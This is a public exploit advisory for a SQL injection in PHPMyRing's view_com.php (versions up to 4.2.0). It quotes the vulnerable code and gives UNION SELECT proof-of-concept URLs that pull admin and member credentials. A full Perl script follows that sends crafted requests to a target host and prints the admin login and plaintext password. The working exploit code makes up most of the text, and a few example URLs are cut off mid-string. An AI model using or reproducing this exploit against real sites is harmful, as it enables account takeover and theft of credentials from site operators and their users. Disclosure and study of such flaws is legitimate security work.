PHPMyRing <= 4.2.0 (view_com.php) Remote SQL Injection

[simo64@morx.org]

################################################## #####################
#
# PHPMyRing's (view_com.php) Remote SQL injection Exploit
#
# vulnerable code on view_com.php line ( 14 - 24)
#
#

# -----------------------------------------------------------------------------------
# if (!$idsite)
#    {
#    echo "<p align=\"center\">"._("Erreur! Le n&deg; du site n'est pas d&eacute;fini!")."</p>";
#    }
# else
#     {
#     // On va aller chercher le nom du site conserné, ça sera fait ;)
#     // Connexion MySQL
#     $conn=connecte();
#     $row=mysql_fetch_array(requete("SELECT site_nom FROM webring WHERE idsite=$idsite"));  # <== SQL injection
#     $site_nom=$row['site_nom'];
#
# ...............
#
# <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
# <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<? echo _("fr"); ?>">
# <head>
# <title><? echo _("Commentaires du site"). " ".$site_nom; ?></title>
# ---------------------------------------------------------------------------------

#
# $idsite is not proprelly verified and can be used to inject sql some query
#
#===========
# Exploit :
#===========
#
# http://localhost/webring/view_com.php?idsite=[SQL]
#
#===========
# Exemples :
#===========
#
# [+] the first PoC URL will display admin username in page title and the second admin password
#
# http://localhost/webring/view_com.ph...%20webring_adm
#
# http://localhost/webring/view_com.ph...%20webring_adm
#
#
# [+] this will display members username (1) and password(2) in page title
#
# 1) http://localhost/webring/view_com.ph...HERE%20idsite=[victimesiteid]
#
# 2) http://localhost/webring/view_com.ph...HERE%20idsite=[victimesiteid]
#
# Exploit to extract both admin login and plain text password:
#
# C:\>perl ring.pl 127.0.0.1 webring
# #################################################
# # PHPMyRing's Remote SQL injection Exploit #
# # Discovered by simo64_at_morx_org #
# # Script writting by simo_at_morx_org #
# # MorX Security Research Team #
# # www.morx.org #
# #################################################

#[*] Trying to get the admin login ...

# [+] your admin login is --> admin

# [+] your admin pass is --> 123456

use IO::Socket;

if(!defined($ARGV[0] && $ARGV[1])) {

system (clear);
print "\n";
print "################################################# \n";
print "# PHPMyRing's Remote SQL injection Exploit #\n";
print "# Discovered by simo64_at_morx_org #\n";
print "# Script writting by simo_at_morx_org #\n";
print "# MorX Security Research Team #\n";
print "# www.morx.org #\n";
print "################################################# \n\n";

print "--- Usage: perl $0 <host> <folder>\n";
print "--- Example: perl $0 127.0.0.1 afd_webring\n\n";
exit; }

$TARGET = $ARGV[0];

$FOLDER = $ARGV[1];

$PORT = "80";

$SCRIPT = "/view_com.php?idsite=";

$SQLPASS = "-1%20UNION%20SELECT%20passadm%20FROM%20webring_adm" ;

$SQLADMIN = "-1%20UNION%20SELECT%20loginadm%20FROM%20webring_adm ";

################################################## ##############################

$COMMAND1 = "GET /$FOLDER$SCRIPT$SQLADMIN HTTP/1.1";
$COMMAND2 = "Host: $TARGET";
$COMMAND3 = "Connection: Close";
$COMMAND4 = "GET /$FOLDER$SCRIPT$SQLPASS HTTP/1.1";

$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$ PORT")
|| die "Can't connect to $TARGET";

print "################################################# \n";
print "# PHPMyRing's Remote SQL injection Exploit #\n";
print "# Discovered by simo64_at_morx_org #\n";
print "# Script writting by simo_at_morx_org #\n";
print "# MorX Security Research Team #\n";
print "# www.morx.org #\n";
print "################################################# \n\n";

sleep 2;

print "[*] Trying to get the admin login ...\n\n";

print $remote "$COMMAND1\n$COMMAND2\n$COMMAND3\n\n";

while ($result = <$remote> ) {

if ($result =~ /site (.*?)</ ) {
$adminlogin = $1;
print "[+] your admin login is --> $adminlogin\n\n";
$a = 1;
}
}

if ($a == 0)
{
print "[-] Failed, cant get the admin login\n\n";
print "[*] Trying to get the admin password ...\n\n";
}

$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$ PORT")
|| die "Can't connect to $TARGET";

print $remote "$COMMAND4\n$COMMAND2\n$COMMAND3\n\n";

while ($result2 = <$remote> ) {

if ($result2 =~ /site (.*?)</ ) {
$adminpass = $1;
print "[+] your admin pass is --> $adminpass\n\n";
$b = 1;
}
}

if ($b == 0)
{ print "[-] Failed, cant get the admin password\n";
}

$remote->flush();
close($remote);
exit;